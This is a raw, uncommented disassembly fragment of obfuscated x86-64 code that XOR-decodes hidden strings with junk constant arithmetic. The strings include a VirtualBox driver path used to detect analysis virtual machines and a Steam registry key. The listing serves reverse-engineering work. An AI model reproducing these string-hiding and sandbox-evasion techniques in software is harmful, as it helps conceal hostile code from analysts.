add r12d, 0xd2dc0fb3
xor r12d, 0xdc0a01ac
rol r12d, 0xdb
popf
pushf
not r12d
add r12d, 0xbe651515
xor r12d, 0xa2a5689f
rol r12d, 0xf8
popf
xor r13w, r12w
mov word [rbp + 0xe6], r13w
mov r13d, 0x224ff988
pushf
not r13d
add r13d, 0xc16e9a48
xor r13d, 0xfeef5193
rol r13d, 0x8b
popf
pushf
not r13d
add r13d, 0xdc3a7234
xor r13d, 0xf57485a9
rol r13d, 0x8e
popf
pushf
not r13d
add r13d, 0xe4e8a66b
xor r13d, 0xd95acdba
rol r13d, 0xe8
popf
pushf
not r13d
add r13d, 0xd449a882
xor r13d, 0xb44f7566
rol r13d, 0x7a
popf
xor r13w, r12w
mov word [rbp + 0xe8], r13w
mov r12d, 0x6264a4ca
pushf
not r12d
add r12d, 0xed09e288
xor r12d, 0xde3208d7
rol r12d, 8
popf
pushf
not r12d
add r12d, 0xa3a6427f
xor r12d, 0xdc2f4801
rol r12d, 0x48
popf
pushf
not r12d
add r12d, 0x85e6c095
xor r12d, 0x967e91e4
rol r12d, 0xcd
popf
pushf
not r12d
add r12d, 0xcc2048f3
xor r12d, 0xcb7ec2ed
rol r12d, 0x55
popf
xor r12w, 0x28
mov word [rbp + 0xea], r12w
mov r13d, 0xfcdc9e8a
pushf
not r13d
add r13d, 0xb449fa1e
xor r13d, 0x870b6ca3
rol r13d, 0xa8
popf
pushf
not r13d
add r13d, 0x8576498d
xor r13d, 0xb094ee2f
rol r13d, 0x4f
popf
pushf
not r13d
add r13d, 0x93c782e0
xor r13d, 0xf8a56af9
rol r13d, 3
popf
pushf
not r13d
add r13d, 0xdeee88a1
xor r13d, 0xd9a87948
rol r13d, 0x40
popf
mov r12d, 0x7ba8c082
pushf
not r12d
add r12d, 0x9c25ae99
xor r12d, 0x984ea7e7
rol r12d, 0xf8
popf
pushf
not r12d
add r12d, 0x8a67f92d
xor r12d, 0xf548c38b
rol r12d, 0xe4
popf
pushf
not r12d
add r12d, 0x92c8575c
xor r12d, 0xb6d800d5
rol r12d, 0x8c
popf
xor r13w, r12w
mov word [rbp + 0xec], r13w
movzx r13d, word [rsp + 0x3c]
xor r13w, r12w
mov word [rbp + 0xee], r13w
mov r12d, 0x48341dd2
pushf
not r12d
add r12d, 0xbe0146e2
xor r12d, 0xea13f1c7
rol r12d, 3
popf
pushf
not r12d
add r12d, 0xdf8215b8
xor r12d, 0xc9dba687
rol r12d, 0xb9
popf
pushf
not r12d
add r12d, 0xc0334ba4
xor r12d, 0xb7e0a9db
rol r12d, 0xc3
popf
xor r12w, 0x28
mov word [rbp + 0xf0], r12w
movzx r13d, word [rsp + 0x3a]
xor r13w, 0x28
mov word [rbp + 0xf2], r13w
mov r12d, 0xc74b1c2d
pushf
not r12d
add r12d, 0x96ee73c6
xor r12d, 0x9fc58248
rol r12d, 0x30
popf
pushf
not r12d
add r12d, 0xbff53527
xor r12d, 0x9424e4c0
rol r12d, 0xc8
popf
xor r12w, 0x28
mov word [rbp + 0xf4], r12w
mov r12d, 0xf5dc7ad5
pushf
not r12d
add r12d, 0xc60b7ec5
xor r12d, 0x84614adf
rol r12d, 0xca
popf
pushf
not r12d
add r12d, 0xb85ac644
xor r12d, 0xd73604f3
rol r12d, 0xe6
popf
xor r12w, word [rsp + 0x20]
mov word [rbp + 0xf6], r12w
mov r13d, 0x9b0db9c8
pushf
not r13d
add r13d, 0xf4cc2b12
xor r13d, 0xd46ea29c
rol r13d, 0x4a
popf
pushf
not r13d
add r13d, 0xc4e70127
xor r13d, 0x8193daef
rol r13d, 0xd4
popf
mov r12d, 0x831b4b8
pushf
not r12d
add r12d, 0x8889c10d
xor r12d, 0xf1716bbf
rol r12d, 0x52
popf
pushf
not r12d
add r12d, 0xbe701c07
xor r12d, 0xec4e8fa3
rol r12d, 0xdb
popf
pushf
not r12d
add r12d, 0xcb0cf311
xor r12d, 0xa7788c4a
rol r12d, 0xa9
popf
xor r13w, r12w
mov word [rbp + 0xf8], r13w
mov r13d, 0x1ea1fe67
pushf
not r13d
add r13d, 0xb7f3eed7
xor r13d, 0x968693e2
rol r13d, 0x99
popf
pushf
not r13d
add r13d, 0xff015e49
xor r13d, 0xa91b0068
rol r13d, 0x81
popf
pushf
not r13d
add r13d, 0xdad92f9e
xor r13d, 0xf0458906
rol r13d, 0x96
popf
pushf
not r13d
add r13d, 0xaa5faa7c
xor r13d, 0xf6ec00e0
rol r13d, 0x83
popf
xor r13w, r12w
mov word [rbp + 0xfa], r13w
mov r12d, 0x8e98ba76
pushf
not r12d
add r12d, 0xf2742390
xor r12d, 0xb90809a8
rol r12d, 0x2f
popf
pushf
not r12d
add r12d, 0xc5765856
xor r12d, 0xfa7d8493
rol r12d, 4
popf
pushf
not r12d
add r12d, 0xc8ff10d6
xor r12d, 0xd40028d7
rol r12d, 0x2c
popf
xor r12w, word [rsp + 0x20]
mov word [rbp + 0xfc], r12w
mov r12d, 0x2d377e5a
pushf
not r12d
add r12d, 0xc7642422
xor r12d, 0xdd302136
rol r12d, 0xac
popf
pushf
not r12d
add r12d, 0x9b1689e4
xor r12d, 0x9f2e1cb3
rol r12d, 0xa3
popf
pushf
not r12d
add r12d, 0xf58f7aa5
xor r12d, 0xdc7a779b
rol r12d, 0x26
popf
pushf
not r12d
add r12d, 0x86b32897
xor r12d, 0xf71d1c40
rol r12d, 0x16
popf
xor r12w, word [rsp + 0x20]
mov word [rbp + 0xfe], r12w
movzx r13d, word [rsp + 0x38]
mov r12d, 0xc9d49922
pushf
not r12d
add r12d, 0x8b26554b
xor r12d, 0xf808bbfe
rol r12d, 0x3e
popf
pushf
not r12d
add r12d, 0x8b9ddb66
xor r12d, 0xf29b4f48
rol r12d, 0x3f
popf
pushf
not r12d
add r12d, 0x9deb12ad
xor r12d, 0x95fca795
rol r12d, 0x23
popf
xor r13w, r12w
mov word [rbp + 0x100], r13w
movzx r13d, word [rsp + 0x36]
xor r13w, r12w
mov word [rbp + 0x102], r13w
mov r13d, 0xee09c70b
pushf
not r13d
add r13d, 0xd74485a0
xor r13d, 0x8aef5f75
rol r13d, 0xfc
popf
pushf
not r13d
add r13d, 0xa3eaa67d
xor r13d, 0xcdf4483d
rol r13d, 0x8f
popf
pushf
not r13d
add r13d, 0xf091ede2
xor r13d, 0xf0604dbe
rol r13d, 0xc3
popf
xor r13w, r12w
mov word [rbp + 0x104], r13w
mov r13d, 0x1df6ca75
pushf
not r13d
add r13d, 0xba751683
xor r13d, 0xbecd2c83
rol r13d, 0x72
popf
pushf
not r13d
add r13d, 0xd293cc59
xor r13d, 0xfb10dae6
rol r13d, 0x2f
popf
pushf
not r13d
add r13d, 0xb41b4a47
xor r13d, 0xe06474a1
rol r13d, 0xa8
popf
xor r13w, r12w
mov word [rbp + 0x106], r13w
movzx r13d, word [rsp + 0x34]
xor r13w, r12w
mov word [rbp + 0x108], r13w
mov r12d, 0xcf9aa08f
pushf
not r12d
add r12d, 0x8126b33a
xor r12d, 0xf829ba88
rol r12d, 0x47
popf
pushf
not r12d
add r12d, 0xda46b2e1
xor r12d, 0x8f72a1be
rol r12d, 0x45
popf
xor r12w, 0x28
mov word [rbp + 0x10a], r12w
movzx r13d, word [rsp + 0x32]
mov r12d, 0xfaabb740
pushf
not r12d
add r12d, 0xd0d5c294
xor r12d, 0xec17afd1
rol r12d, 0x7c
popf
pushf
not r12d
add r12d, 0x87ff63ea
xor r12d, 0xf177a99c
rol r12d, 0x75
popf
pushf
not r12d
add r12d, 0xb05ce186
xor r12d, 0xa8aa3c51
rol r12d, 0x7f
popf
xor r13w, r12w
mov word [rbp + 0x10c], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp + 0x10e], r13w
movzx r13d, word [rsp + 0x30]
xor r13w, r12w
mov word [rbp + 0x110], r13w
movzx r13d, word [rsp + 0x2e]
xor r13w, r12w
mov word [rbp + 0x112], r13w
movzx r13d, word [rsp + 0x2c]
xor r13w, r12w
mov word [rbp + 0x114], r13w
movzx r13d, word [rsp + 0x46]
xor r13w, r12w
mov word [rbp + 0x116], r13w
movzx r13d, word [rsp + 0x44]
xor r13w, r12w
mov word [rbp + 0x118], r13w
movzx r13d, word [rsp + 0x28]
xor r13w, r12w
mov word [rbp + 0x11a], r13w
movzx r13d, word [rsp + 0x26]
xor r13w, r12w
mov word [rbp + 0x11c], r13w
movzx r13d, word [rsp + 0x24]
xor r13w, r12w
mov word [rbp + 0x11e], r13w
movzx r13d, word [rsp + 0x2a]
xor r13w, r12w
mov word [rbp + 0x120], r13w
movzx r12d, word [rsp + 0x48]
mov r13d, 0xcc91ecd5
pushf
not r13d
add r13d, 0x817ccadb
xor r13d, 0x94c6acee
rol r13d, 0x5f
popf
pushf
not r13d
add r13d, 0x8bd35fe8
xor r13d, 0xd3bd2672
rol r13d, 0xc8
popf
xor r12w, r13w
mov word [rbp + 0x122], r12w
xor r15w, r13w
mov word [rbp + 0x124], r15w
xor r14w, r13w
mov word [rbp + 0x126], r14w
xor si, r13w
mov word [rbp + 0x128], si
xor di, r13w
mov word [rbp + 0x12a], di
xor bx, r13w
mov word [rbp + 0x12c], bx
xor r11w, r13w
mov word [rbp + 0x12e], r11w
xor r10w, r13w
mov word [rbp + 0x130], r10w
xor r9w, r13w
mov word [rbp + 0x132], r9w
xor r8w, r13w
mov word [rbp + 0x134], r8w
xor dx, r13w
mov word [rbp + 0x136], dx
xor cx, r13w
mov word [rbp + 0x138], cx
xor ax, r13w
mov word [rbp + 0x13a], ax
xor eax, eax
mov word [rbp + 0x13c], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x260], xmm1
lea rax, [rbp + 0xe2]
mov r8, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0x1a7fe18e
pushf
not eax
add eax, 0xaca2f1c8
xor eax, 0xc8739b26
rol eax, 0x85
popf
pushf
not eax
add eax, 0xa4ced72b
xor eax, 0xeea4474a
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xbfb48b20
xor eax, 0xc0eefd13
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x951a990c
xor eax, 0xc3c946e5
rol eax, 0xab
popf
jmp 0x1402b04b1
inc r8
cmp word [rax + r8*2], 0
jne 0x1402b3ceb
push rax
pushf
mov eax, 0x7a13984e
pushf
not eax
add eax, 0xb0ec723a
xor eax, 0xead59ef1
rol eax, 0x76
popf
pushf
not eax
add eax, 0xcb452f1f
xor eax, 0xf0ffd70b
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xae9c13ef
xor eax, 0xc5bb9a61
rol eax, 0xf2
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x9e73196a
pushf
not eax
add eax, 0xd3833d66
xor eax, 0x855e87e7
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xcba8ca51
xor eax, 0xeb899907
rol eax, 0x60
popf
pushf
not eax
add eax, 0x8e9910db
xor eax, 0x94e23b29
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xbad3a1b4
xor eax, 0xa978d7a5
rol eax, 0x53
popf
jmp 0x1402b04b1
lea rdx, [rbp + 0xe2]
lea rcx, [rbp + 0x250]
call fcn.140226231
nop
mov r10d, 0xbfa84796
pushf
not r10d
add r10d, 0xeb9590cf
xor r10d, 0xa6a6ae7e
rol r10d, 0x4a
popf
pushf
not r10d
add r10d, 0xaff7fa8b
xor r10d, 0x805ae1c5
rol r10d, 0xfc
popf
mov dword [rsp + 0x50], r10d
mov word [rbp + 0x140], r10w
mov eax, 0x811ee5ff
pushf
not eax
add eax, 0x9f009113
xor eax, 0xd8234fa9
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xc2379c98
xor eax, 0xab114c69
rol eax, 0x57
popf
mov word [rsp + 0x48], ax
mov r9d, 0x8cca8b9b
pushf
not r9d
add r9d, 0x9995bf84
xor r9d, 0x86764744
rol r9d, 0xb5
popf
pushf
not r9d
add r9d, 0xae64d8fb
xor r9d, 0xf8d38141
rol r9d, 3
popf
mov word [rsp + 0x3c], r9w
mov word [rsp + 0x3a], r9w
mov eax, 0x18a325e2
pushf
not eax
add eax, 0xff92d358
xor eax, 0xa2f2bcfd
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xf1ff3cbc
xor eax, 0xd616b079
rol eax, 0x2c
popf
mov word [rsp + 0x38], ax
movzx eax, word [0x1400f85aa]
xor ax, r10w
mov word [rsp + 0x36], ax
movzx eax, word [0x1400f85ac]
xor ax, r10w
mov word [rsp + 0x34], ax
movzx eax, word [0x1400f85ae]
xor ax, r10w
mov word [rsp + 0x32], ax
movzx eax, word [str.driversVBoxSF.sys]
xor ax, r10w
mov word [rsp + 0x30], ax
movzx eax, word [0x1400f85b2]
xor ax, r10w
mov word [rsp + 0x2e], ax
movzx eax, word [0x1400f85b4]
xor ax, r10w
mov word [rsp + 0x2c], ax
movzx eax, word [0x1400f85b6]
xor ax, r10w
mov word [rsp + 0x46], ax
movzx eax, word [0x1400f85b8]
xor ax, r10w
mov word [rsp + 0x44], ax
movzx eax, word [0x1400f85ba]
xor ax, r10w
mov word [rsp + 0x28], ax
movzx eax, word [0x1400f85bc]
xor ax, r10w
mov word [rsp + 0x26], ax
movzx r13d, word [reloc.WS2_32.dll_WSAStartup]
xor r13w, r10w
mov word [rsp + 0x24], r13w
movzx r12d, word [0x1400f85c0]
xor r12w, r10w
mov word [rsp + 0x2a], r12w
movzx r15d, word [0x1400f85c2]
xor r15w, r10w
mov word [rsp + 0x40], r15w
movzx r14d, word [0x1400f85c4]
xor r14w, r10w
mov word [rsp + 0x20], r14w
movzx esi, word [0x1400f85c6]
xor si, r10w
movzx edi, word [0x1400f85c8]
xor di, r10w
movzx ebx, word [0x1400f85ca]
xor bx, r10w
movzx r11d, word [0x1400f85cc]
xor r11w, r10w
movzx r10d, word [0x1400f85ce]
xor r10w, 0x19
movzx r9d, word [reloc.WS2_32.dll_WSAStartup]
xor r9w, 0x19
movzx r8d, word [0x1400f85d2]
xor r8w, 0x19
movzx edx, word [reloc.WS2_32.dll_WSAStartup]
xor dx, 0x19
movzx ecx, word [0x1400f85d6]
xor cx, 0x19
movzx eax, word [0x1400f85d8]
xor ax, 0x19
mov r14d, 0x9fccb2cf
pushf
not r14d
add r14d, 0xef2d7683
xor r14d, 0x8b260eeb
rol r14d, 0x73
popf
pushf
not r14d
add r14d, 0xdfd6afde
xor r14d, 0x80bbd64e
rol r14d, 0x6a
popf
pushf
not r14d
add r14d, 0x9d93e464
xor r14d, 0xe4243c8c
rol r14d, 0xc6
popf
mov r15d, 0xa733fdf3
pushf
not r15d
add r15d, 0xe2ea8346
xor r15d, 0xa793a802
rol r15d, 0x27
popf
pushf
not r15d
add r15d, 0x8b2d8bc8
xor r15d, 0xabccf66f
rol r15d, 0xd1
popf
pushf
not r15d
add r15d, 0xf60cfa7e
xor r15d, 0xe00f1641
rol r15d, 0x83
popf
pushf
not r15d
add r15d, 0x8d223e49
xor r15d, 0xbea01206
rol r15d, 0x84
popf
xor r14w, r15w
mov word [rbp + 0x142], r14w
mov r12d, 0x2cf92310
pushf
not r12d
add r12d, 0xed606fc3
xor r12d, 0xbaa8d9f5
rol r12d, 0xf4
popf
pushf
not r12d
add r12d, 0xae950412
xor r12d, 0xfb450cc4
rol r12d, 0x48
popf
pushf
not r12d
add r12d, 0x93f158c5
xor r12d, 0xe1c2012d
rol r12d, 0x84
popf
pushf
not r12d
add r12d, 0xa32b4ae0
xor r12d, 0xfe5b79f2
rol r12d, 0x8d
popf
xor r12w, r15w
mov word [rbp + 0x144], r12w
mov r14d, 0x9027fc09
pushf
not r14d
add r14d, 0x862b1231
xor r14d, 0xb4c00432
rol r14d, 0x1c
popf
pushf
not r14d
add r14d, 0x91cf67d7
xor r14d, 0xfda336af
rol r14d, 0x82
popf
movzx r13d, r14w
xor r13w, r15w
mov word [rbp + 0x146], r13w
mov r12d, 0x86a0576
pushf
not r12d
add r12d, 0xe9f0f645
xor r12d, 0xf7510ecd
rol r12d, 0xd6
popf
pushf
not r12d
add r12d, 0xb83b3637
xor r12d, 0xc91b84d0
rol r12d, 0x9f
popf
pushf
not r12d
add r12d, 0xc159ea70
xor r12d, 0x8ac31516
rol r12d, 0xe3
popf
pushf
not r12d
add r12d, 0xe6c0abd0
xor r12d, 0x9fb0d47d
rol r12d, 0x36
popf
xor r12w, r15w
mov word [rbp + 0x148], r12w
mov r15d, 0x1b9830ef
pushf
not r15d
add r15d, 0xe0215867
xor r15d, 0x950c5832
rol r15d, 0xdc
popf
pushf
not r15d
add r15d, 0xbe32965d
xor r15d, 0xd9024d32
rol r15d, 0x26
popf
pushf
not r15d
add r15d, 0x956474ab
xor r15d, 0xc18a12c6
rol r15d, 0xab
popf
pushf
not r15d
add r15d, 0xeced9716
xor r15d, 0x8d93d49f
rol r15d, 0xb
popf
xor r15w, 0x19
mov word [rbp + 0x14a], r15w
mov r12d, 0xeae8f5e4
pushf
not r12d
add r12d, 0xdafdf787
xor r12d, 0x94993824
rol r12d, 0x3b
popf
pushf
not r12d
add r12d, 0xf648f751
xor r12d, 0x97691ef2
rol r12d, 0x6d
popf
pushf
not r12d
add r12d, 0x850ce4ea
xor r12d, 0xc1c0cd4f
rol r12d, 0xf6
popf
pushf
not r12d
add r12d, 0x9665ce69
xor r12d, 0xcaa6f6b3
rol r12d, 0x94
popf
movzx r13d, r12w
mov r15d, 0x92d4f6b6
pushf
not r15d
add r15d, 0xf1c7c393
xor r15d, 0xb3d73f83
rol r15d, 0x70
popf
pushf
not r15d
add r15d, 0xd07cbe7f
xor r15d, 0xdd1cb559
rol r15d, 0xf6
popf
xor r13w, r15w
mov word [rbp + 0x14c], r13w
movzx r13d, r14w
xor r13w, r15w
mov word [rbp + 0x14e], r13w
mov r15d, 0x237c5320
pushf
not r15d
add r15d, 0xb38f0431
xor r15d, 0x836758c1
rol r15d, 0x92
popf
pushf
not r15d
add r15d, 0xae405212
xor r15d, 0xbfb5465b
rol r15d, 0xb7
popf
pushf
not r15d
add r15d, 0xceb77e40
xor r15d, 0x875ad99e
rol r15d, 0x2a
popf
movzx r13d, r15w
mov r14d, 0xfdfcc329
pushf
not r14d
add r14d, 0x8a6fd1d0
xor r14d, 0xb08e2648
rol r14d, 0xae
popf
pushf
not r14d
add r14d, 0xecab2fa7
xor r14d, 0x90c8bc48
rol r14d, 0xd6
popf
pushf
not r14d
add r14d, 0xcb678dc2
xor r14d, 0xbe01488a
rol r14d, 0x9d
popf
pushf
not r14d
add r14d, 0xa7dd6ef2
xor r14d, 0xa7a9e083
rol r14d, 0x98
popf
xor r13w, r14w
mov word [rbp + 0x150], r13w
movzx r13d, word [rsp + 0x48]
xor r13w, r14w
mov word [rbp + 0x152], r13w
movzx r13d, word [rsp + 0x3c]
xor r13w, r14w
mov word [rbp + 0x154], r13w
mov r14d, 0x509867fa
pushf
not r14d
add r14d, 0x80fbd9c0
xor r14d, 0xc49499f5
rol r14d, 0x9d
popf
pushf
not r14d
add r14d, 0x8d78818b
xor r14d, 0xa1f77dfa
rol r14d, 0x8d
popf
pushf
not r14d
add r14d, 0xdea8d105
xor r14d, 0xff78f4c7
rol r14d, 0xbd
popf
xor r14w, 0x19
mov word [rbp + 0x156], r14w
mov r14d, 0xe98f8f3e
pushf
not r14d
add r14d, 0xfa422469
xor r14d, 0xb828e604
rol r14d, 0x66
popf
pushf
not r14d
add r14d, 0xf2498e3d
xor r14d, 0xbe01b725
rol r14d, 0x78
popf
pushf
not r14d
add r14d, 0x8c748ca5
xor r14d, 0xd4ff072f
rol r14d, 0x56
popf
xor r14w, word [rsp + 0x50]
mov word [rbp + 0x158], r14w
mov r14d, 0x83eebe7f
pushf
not r14d
add r14d, 0xca7c0058
xor r14d, 0x9675e279
rol r14d, 0xed
popf
pushf
not r14d
add r14d, 0xa87c7379
xor r14d, 0xcce44dff
rol r14d, 0xb6
popf
pushf
not r14d
add r14d, 0x88d2ade8
xor r14d, 0xfc8c4e07
rol r14d, 0x48
popf
pushf
not r14d
add r14d, 0x9506215d
xor r14d, 0xe4c955a9
rol r14d, 0x9c
popf
xor r14w, word [rsp + 0x50]
mov word [rbp + 0x15a], r14w
movzx r13d, r15w
xor r13w, 0x19
mov word [rbp + 0x15c], r13w
movzx r13d, r12w
mov r15d, 0xec324b63
pushf
not r15d
add r15d, 0xb316f4d1
xor r15d, 0x853149ce
rol r15d, 0xc7
popf
pushf
not r15d
add r15d, 0x87076aeb
xor r15d, 0xe7574267
rol r15d, 0x5c
popf
pushf
not r15d
add r15d, 0x92e97b15
xor r15d, 0xaaa57562
rol r15d, 0x6c
popf
xor r13w, r15w
mov word [rbp + 0x15e], r13w
mov r14d, 0x2212444b
pushf
not r14d
add r14d, 0xbb646147
xor r14d, 0xb0285e8a
rol r14d, 0x17
popf
pushf
not r14d
add r14d, 0xb9a7f741
xor r14d, 0x8110621f
rol r14d, 0x95
popf
xor r14w, r15w
mov word [rbp + 0x160], r14w
movzx r13d, word [rsp + 0x3a]
xor r13w, r15w
mov word [rbp + 0x162], r13w
movzx r13d, word [rsp + 0x38]
xor r13w, r15w
mov word [rbp + 0x164], r13w
mov r14d, 0x6ee9767b
pushf
not r14d
add r14d, 0xd3d205b4
xor r14d, 0xb3e8b82b
rol r14d, 0x27
popf
pushf
not r14d
add r14d, 0xa274d055
xor r14d, 0xd7ac3349
rol r14d, 0x8c
popf
pushf
not r14d
add r14d, 0xd114e6d5
xor r14d, 0xd2a1274f
rol r14d, 0x9a
popf
pushf
not r14d
add r14d, 0xc7b67f56
xor r14d, 0xa708ef95
rol r14d, 0xa8
popf
xor r14w, r15w
mov word [rbp + 0x166], r14w
movzx r13d, r12w
xor r13w, r15w
mov word [rbp + 0x168], r13w
mov r13d, 0x5e1f3530
pushf
not r13d
add r13d, 0xf84cf3bd
xor r13d, 0xa50d61b8
rol r13d, 0x7f
popf
pushf
not r13d
add r13d, 0xe1fccea7
xor r13d, 0xc2b05f0c
rol r13d, 0x6e
popf
xor r13w, r15w
mov word [rbp + 0x16a], r13w
mov r12d, 0x245dba00
pushf
not r12d
add r12d, 0x96aba793
xor r12d, 0xf34fbec6
rol r12d, 0x1a
popf
pushf
not r12d
add r12d, 0xb2dcce9f
xor r12d, 0x9b16d797
rol r12d, 0xd6
popf
pushf
not r12d
add r12d, 0x91af2d6f
xor r12d, 0xa0f5e2b7
rol r12d, 0xf4
popf
pushf
not r12d
add r12d, 0xc9cc57f3
xor r12d, 0xb3f46793
rol r12d, 0x44
popf
movzx r13d, r12w
xor r13w, r15w
mov word [rbp + 0x16c], r13w
mov r14d, 0xf4e2f98
pushf
not r14d
add r14d, 0xf9af9db8
xor r14d, 0x982768f7
rol r14d, 0xd1
popf
pushf
not r14d
add r14d, 0x8f1c11b4
xor r14d, 0x81532d27
rol r14d, 0x12
popf
xor r14w, r15w
mov word [rbp + 0x16e], r14w
movzx r13d, r12w
xor r13w, r15w
mov word [rbp + 0x170], r13w
movzx r13d, r15w
xor r13w, r15w
mov word [rbp + 0x172], r13w
movzx r13d, word [rsp + 0x36]
xor r13w, r15w
mov word [rbp + 0x174], r13w
movzx r13d, word [rsp + 0x34]
xor r13w, r15w
mov word [rbp + 0x176], r13w
movzx r13d, word [rsp + 0x32]
xor r13w, r15w
mov word [rbp + 0x178], r13w
movzx r13d, word [rsp + 0x30]
xor r13w, r15w
mov word [rbp + 0x17a], r13w
movzx r13d, word [rsp + 0x2e]
xor r13w, r15w
mov word [rbp + 0x17c], r13w
movzx r13d, word [rsp + 0x2c]
xor r13w, r15w
mov word [rbp + 0x17e], r13w
movzx r13d, word [rsp + 0x46]
xor r13w, r15w
mov word [rbp + 0x180], r13w
movzx r13d, word [rsp + 0x44]
xor r13w, r15w
mov word [rbp + 0x182], r13w
movzx r13d, word [rsp + 0x28]
xor r13w, r15w
mov word [rbp + 0x184], r13w
movzx r13d, word [rsp + 0x26]
xor r13w, r15w
mov word [rbp + 0x186], r13w
movzx r13d, word [rsp + 0x24]
xor r13w, r15w
mov word [rbp + 0x188], r13w
movzx r12d, word [rsp + 0x2a]
xor r12w, r15w
mov word [rbp + 0x18a], r12w
movzx r15d, word [rsp + 0x40]
mov r12d, 0xbb933705
pushf
not r12d
add r12d, 0xdc568967
xor r12d, 0xa0bf8b4c
rol r12d, 0xb3
popf
pushf
not r12d
add r12d, 0xf0d386fd
xor r12d, 0xfb0ed415
rol r12d, 0xd0
popf
pushf
not r12d
add r12d, 0xd5d210f7
xor r12d, 0xb3c74e11
rol r12d, 0
popf
pushf
not r12d
add r12d, 0xbb753ea1
xor r12d, 0xee0fc404
rol r12d, 0xce
popf
xor r15w, r12w
mov word [rbp + 0x18c], r15w
movzx r14d, word [rsp + 0x20]
xor r14w, r12w
mov word [rbp + 0x18e], r14w
xor si, r12w
mov word [rbp + 0x190], si
xor di, r12w
mov word [rbp + 0x192], di
xor bx, r12w
mov word [rbp + 0x194], bx
xor r11w, r12w
mov word [rbp + 0x196], r11w
xor r10w, r12w
mov word [rbp + 0x198], r10w
xor r9w, r12w
mov word [rbp + 0x19a], r9w
xor r8w, r12w
mov word [rbp + 0x19c], r8w
xor dx, r12w
mov word [rbp + 0x19e], dx
xor cx, r12w
mov word [rbp + 0x1a0], cx
xor ax, r12w
mov word [rbp + 0x1a2], ax
xor eax, eax
mov word [rbp + 0x1a4], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
lea rax, [rbp + 0x142]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
push rax
pushf
mov eax, 0xa13a4bbb
pushf
not eax
add eax, 0xa494fc77
xor eax, 0xeed14640
rol eax, 0x58
popf
pushf
not eax
add eax, 0xb4fb6ce3
xor eax, 0xf27736e0
rol eax, 0x40
popf
pushf
not eax
add eax, 0xc16e0f6f
xor eax, 0xb5b648c2
rol eax, 3
popf
pushf
not eax
add eax, 0xf6f97338
xor eax, 0xf70de631
rol eax, 0xaa
popf
jmp 0x1402b04b1
inc r8
cmp word [rax + r8*2], 0
jne 0x1402b4a3f
push rax
pushf
mov eax, 0x8018a6b7
pushf
not eax
add eax, 0xa0aaad69
xor eax, 0xa33ad336
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x89e9c352
xor eax, 0xd9509854
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x85f9359f
xor eax, 0xba84cf84
rol eax, 0x29
popf
pushf
not eax
add eax, 0x930c948a
xor eax, 0xe03d9841
rol eax, 0x69
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x48e8ea67
pushf
not eax
add eax, 0xa380de30
xor eax, 0xfa6ad163
rol eax, 0x26
popf
pushf
not eax
add eax, 0xf134e980
xor eax, 0xb1ebbe97
rol eax, 0x31
popf
jmp 0x1402b04b1
lea rdx, [rbp + 0x142]
lea rcx, [rbp + 0x270]
call fcn.140226231
nop
mov edx, 0x40e44c56
pushf
not edx
add edx, 0xd7ded95c
xor edx, 0xbde4cb8c
rol edx, 0x97
popf
pushf
not edx
add edx, 0xbe3bceeb
xor edx, 0xc595e91f
rol edx, 0x84
popf
pushf
not edx
add edx, 0xff42379d
xor edx, 0xd6fbf72b
rol edx, 0x42
popf
pushf
not edx
add edx, 0xa8101ac4
xor edx, 0xfdd325d8
rol edx, 0x2b
popf
mov word [rbp + 0x20], dx
mov eax, 0xaa583771
pushf
not eax
add eax, 0xee1c492d
xor eax, 0x8527a335
rol eax, 0x49
popf
pushf
not eax
add eax, 0xc000aabf
xor eax, 0xf2db8d31
rol eax, 0xab
popf
mov ecx, 0xdae7ea86
pushf
not ecx
add ecx, 0xeb2e73ff
xor ecx, 0x8e5b2a4e
rol ecx, 0x59
popf
pushf
not ecx
add ecx, 0xd3aa2a0d
xor ecx, 0xdcdb04e9
rol ecx, 0x9a
popf
pushf
not ecx
add ecx, 0xef8d98d1
xor ecx, 0x99599c99
rol ecx, 3
popf
pushf
not ecx
add ecx, 0xd5a790fc
xor ecx, 0x820e836e
rol ecx, 0x6c
popf
mov word [rsp + 0x20], cx
mov word [rsp + 0x40], ax
mov eax, 0x4b77beef
pushf
not eax
add eax, 0xcfbb1883
xor eax, 0xa4d874b9
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xc3b122cc
xor eax, 0xcdb6c689
rol eax, 0x44
popf
pushf
not eax
add eax, 0x81d555fa
xor eax, 0x902b873e
rol eax, 0xf4
popf
mov word [rsp + 0x48], ax
mov word [rsp + 0x3c], ax
movzx eax, word [0x1400f85d8]
xor ax, dx
mov word [rsp + 0x3a], ax
movzx eax, word [0x1400f85da]
xor ax, dx
mov word [rsp + 0x38], ax
movzx eax, word [0x1400f85dc]
xor ax, dx
mov word [rsp + 0x36], ax
movzx eax, word [0x1400f85de]
xor ax, dx
mov word [rsp + 0x34], ax
movzx eax, word [str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallSteam_App_252490]
xor ax, dx
mov word [rsp + 0x32], ax
movzx r13d, word [0x1400f85e2]
xor r13w, dx
mov word [rsp + 0x30], r13w
movzx r12d, word [0x1400f85e4]
xor r12w, dx
mov word [rsp + 0x2e], r12w
movzx r15d, word [0x1400f85e6]
xor r15w, dx
mov word [rsp + 0x2c], r15w
movzx r14d, word [0x1400f85e8]
xor r14w, dx
movzx esi, word [0x1400f85ea]
xor si, dx
movzx edi, word [0x1400f85ec]
xor di, dx
movzx ebx, word [0x1400f85ee]
xor bx, dx
movzx r11d, word [0x1400f85f0]
xor r11w, dx
movzx r10d, word [0x1400f85f2]
xor r10w, dx
movzx r9d, word [0x1400f85f4]
xor r9w, dx
movzx r8d, word [0x1400f85f6]
xor r8w, dx
